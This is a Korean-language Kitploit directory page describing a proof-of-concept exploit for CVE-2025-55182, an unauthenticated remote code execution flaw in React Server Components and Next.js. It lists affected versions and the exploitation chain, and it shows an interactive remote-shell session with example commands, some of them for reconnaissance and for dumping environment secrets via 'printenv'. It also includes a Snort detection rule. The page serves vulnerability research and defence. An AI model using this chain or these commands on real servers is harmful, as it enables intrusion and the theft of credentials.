Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-55182 — # CVE-2025-55182 개념 증명 익스플로잇 React Server Components의 심각한 인증 없는 원격 코드 실행(RCE) 취약점인 CVE-2025-55182에 대한 개념 증명 익스플로잇입니다. 자동화된 Python 익스플로잇, 기술 분석, 탐지 규칙, 그리고 승인된 보안 테스트를 위한 랩 환경 설정을 포함합니다. | Kitploit
도구/GitHubGitHub/tinashelorenzi/cve-2025-55182
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingIntrusion DetectionLearning & EducationRed TeamingPayload DevelopmentLabs & Practice
GitHubtinashelorenzi/cve-2025-55182

CVE-2025-55182

# CVE-2025-55182 개념 증명 익스플로잇 React Server Components의 심각한 인증 없는 원격 코드 실행(RCE) 취약점인 CVE-2025-55182에 대한 개념 증명 익스플로잇입니다. 자동화된 Python 익스플로잇, 기술 분석, 탐지 규칙, 그리고 승인된 보안 테스트를 위한 랩 환경 설정을 포함합니다.

179개월 전아직 검토되지 않음
저장소 보기

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

React2Shell (CVE-2025-55182) - 개념 증명(PoC)

CVSS 점수 10.0에 해당하는 React Server Components에 영향을 미치는 치명적인 원격 코드 실행 취약점인 CVE-2025-55182에 대한 포괄적인 개념 증명 익스플로잇 및 교육용 자료입니다.

Python Version License CVSS

법적 고지

교육 및 승인된 테스트 목적으로만 사용

이 도구는 교육 목적과 승인된 보안 테스트를 위해서만 제공됩니다. 승인되지 않은 컴퓨터 시스템 접근은 미국의 컴퓨터 사기 및 남용법(CFAA)을 비롯한 각종 법률과 전 세계의 유사한 법률에 따라 불법입니다.

사용자는 반드시:

  • 본인 소유이거나 테스트에 대한 명시적인 서면 승인을 받은 시스템에서만 이 도구를 사용해야 합니다.
  • 적용 가능한 모든 지방, 주, 연방 법률을 준수해야 합니다.
  • 이 도구를 책임감 있고 윤리적으로 사용해야 합니다.

저자 및 기여자:

  • 이 도구의 오용이나 손해에 대해 책임을 지지 않습니다.
  • 승인되지 않은 컴퓨터 시스템 접근을 지지하거나 조장하지 않습니다.
  • 이 도구를 교육 및 방어적 보안 목적으로만 엄격히 제공합니다.

이 도구를 사용함으로써 귀하는 본 약관을 이해하고 이에 동의함을 인정합니다.

📋 목차

  • 개요
  • 취약점 세부 정보
  • 영향을 받는 버전
  • 기술 분석
  • 설치
  • 사용법
  • 탐지
  • 해결 방법
  • 실습 환경 구성
  • 참고 자료
  • 기여
  • 작성자

🎯 개요

React2Shell은 2025년 12월에 발견된 치명적인 취약점으로, React Server Components(RSC) 및 이를 구현하는 프레임워크, 특히 Next.js에 영향을 미칩니다. 이 취약점은 단일하게 조작된 HTTP 요청을 통해 인증되지 않은 원격 코드 실행을 가능하게 합니다.

이 저장소에는 다음이 포함되어 있습니다:

  • ✅ 자동화된 Python 익스플로잇 스크립트
  • ✅ 상세한 기술 분석
  • ✅ 탐지 규칙(Snort, OSQuery)
  • ✅ 실습 환경 구성 가이드
  • ✅ 포괄적인 문서

🔍 취약점 세부 정보

필드세부 정보
CVE IDCVE-2025-55182
CVSS 점수10.0 (치명적)
공격 벡터네트워크
공격 복잡성낮음
필요 권한없음
사용자 상호 작용없음
영향완전한 시스템 장악 (RCE)
공개 날짜2025년 12월

무엇이 이 취약점을 치명적으로 만드는가?

  1. 인증 불필요 - 인증되지 않은 모든 공격자가 악용 가능
  2. 기본 구성도 취약 - create-next-app으로 생성된 표준 Next.js 앱도 악용 가능
  3. 높은 신뢰성 - 거의 100%에 달하는 악용 성공률
  4. 넓은 공격 표면 - React 컴포넌트를 실행하는 571,000개 이상의 공개 서버(Shodan 데이터)
  5. 심각한 영향 - Node.js 프로세스 권한으로 완전한 원격 코드 실행

📦 영향을 받는 버전

React Server Components

취약한 버전:

  • react-server-dom-webpack: 19.0.0, 19.1.0, 19.1.1, 19.2.0
  • react-server-dom-parcel: 19.0.0, 19.1.0, 19.1.1, 19.2.0
  • react-server-dom-turbopack: 19.0.0, 19.1.0, 19.1.1, 19.2.0

패치된 버전:

  • React 19.0.1
  • React 19.1.2
  • React 19.2.1

Next.js

취약한 버전:

  • 14.3.0-canary.77 이상의 모든 버전
  • 모든 15.x 릴리스(패치 전)
  • 모든 16.x 릴리스(패치 전)

패치된 버전:

  • React 패치가 포함된 업데이트 버전은 Next.js 릴리스에서 확인하세요.

기타 영향을 받는 프레임워크

  • React Router(RSC 모드 사용 시)
  • Waku
  • Redwood SDK
  • RSC를 지원하는 다양한 프레임워크

🔬 기술 분석

근본 원인

이 취약점은 React Server Components의 역직렬화 로직 내 requireModule 함수에 존재합니다:

function requireModule(metadata) {  
  var moduleExports = __webpack_require__(metadata[0]);  
  return moduleExports[metadata[2]];  // VULNERABLE LINE - Prototype chain traversal
}

이 결함으로 인해 공격자는 React Flight 프로토콜을 통해 JavaScript의 프로토타입 체인을 탐색하여 constructor.constructor와 같은 속성을 통해 Function 생성자에 접근할 수 있으며, 이를 통해 임의 코드 실행이 가능합니다.

악용 체인

  1. 가짜 청크 생성 - 공격자가 조작된 청크 객체가 포함된 multipart form 데이터를 전송
  2. 프로토타입 오염 - __proto__를 악용하여 자기 참조 구조 생성
  3. Blob 핸들러 남용 - React 내부의 Blob 역직렬화 핸들러 트리거
  4. Function 생성자 접근 - constructor.constructor를 통해 체인으로 연결하여 Function()에 접근
  5. 코드 실행 - child_process.execSync()를 통해 임의 JavaScript 주입

공격 흐름 다이어그램

┌─────────────────────────────────────────────────────────────┐
│  Attacker sends multipart/form-data with Next-Action header │
└──────────────────────┬──────────────────────────────────────┘
                       │
                       ▼
┌─────────────────────────────────────────────────────────────┐
│  Server deserializes payload via React Flight protocol      │
└──────────────────────┬──────────────────────────────────────┘
                       │
                       ▼
┌─────────────────────────────────────────────────────────────┐
│  Fake chunk object with __proto__ pollution processed       │
└──────────────────────┬──────────────────────────────────────┘
                       │
                       ▼
┌─────────────────────────────────────────────────────────────┐
│  Blob handler invokes _formData.get(_prefix + id)           │
└──────────────────────┬──────────────────────────────────────┘
                       │
                       ▼
┌─────────────────────────────────────────────────────────────┐
│  Resolves to Function("malicious_code")                     │
└──────────────────────┬──────────────────────────────────────┘
                       │
                       ▼
┌─────────────────────────────────────────────────────────────┐
│  Arbitrary code executed with Node.js process privileges    │
└─────────────────────────────────────────────────────────────┘

🚀 설치

요구 사항

  • Python 3.7 이상
  • requests 라이브러리

설정

# Clone the repository
git clone https://github.com/yourusername/react2shell-poc.git
cd react2shell-poc

# Install dependencies
pip install -r requirements.txt

# Make script executable (Linux/macOS)
chmod +x react2shell.py

Requirements.txt

requests>=2.31.0
urllib3>=2.0.0

💻 사용법

기본 사용법

python3 react2shell.py

대화형 세션

╔═══════════════════════════════════════════════════════════╗
║           React2Shell (CVE-2025-55182) PoC                ║
║                 CVSS 10.0 - Critical RCE                  ║
║                                                           ║
║  Affected: React 19.0.0, 19.1.0, 19.1.1, 19.2.0          ║
║           Next.js ≥14.3.0-canary.77, 15.x, 16.x          ║
║                                                           ║
║  Cerberus Secure - Lab Use Only                          ║
╚═══════════════════════════════════════════════════════════╝

[?] Enter target information:
    Host (e.g., localhost or 192.168.1.100): localhost
    Port (e.g., 3000): 3000

[React2Shell]> id
[*] Target: http://localhost:3000/
[*] Command: id
[*] Building exploit payload...
[*] Sending exploit request...
[+] Response Status Code: 200
[*] Parsing response...

╔═══════════════════════════════════════════════════════════╗
║                    COMMAND OUTPUT                         ║
╚═══════════════════════════════════════════════════════════╝
uid=1000(node) gid=1000(node) groups=1000(node)

[React2Shell]> whoami
[React2Shell]> pwd
[React2Shell]> ls -la
[React2Shell]> exit

예시 명령어

# System reconnaissance
[React2Shell]> id
[React2Shell]> whoami
[React2Shell]> uname -a
[React2Shell]> cat /etc/os-release

# File system exploration
[React2Shell]> pwd
[React2Shell]> ls -la
[React2Shell]> cat package.json

# Environment variables (often contain secrets)
[React2Shell]> printenv
[React2Shell]> echo $PATH

# Network information
[React2Shell]> ifconfig
[React2Shell]> netstat -tulpn

사용 가능한 명령어

명령어설명
<모든 셸 명령어>대상에서 명령어 실행
help도움말 메시지 표시
exit / quit / q도구 종료

🛡️ 탐지

네트워크 수준 탐지 (Snort v3)

악용 시도를 탐지하려면 이 Snort 규칙을 배포하세요:

alert http any any -> $LAN_NETWORK any (
    msg:"Potential Next.js React2Shell / CVE-2025-55182 attempt";
    flow:to_server,established;
    content:"Next-Action"; http_header; nocase;
    content:"multipart/form-data"; http_header; nocase;
    pcre:"/Content-Disposition:\s*form-data;\s*name=\"0\"/s";
    pcre:"/\"status\"\s*:\s*\"resolved_model\"/s";
    pcre:"/\"then\"\s*:\s*\"\$1:__proto__:then\"/s";
    classtype:web-application-attack;
    sid:6655001;
    rev:1;
)

탐지 로직:

  • Next-Action 헤더(RSC 특유) 모니터링
  • multipart/form-data 페이로드 탐지
  • 악용 특유 패턴 식별: name="0", status: "resolved_model", then: "$1:__proto__:then"

엔드포인트 탐지 (OSQuery)

도구 다운로드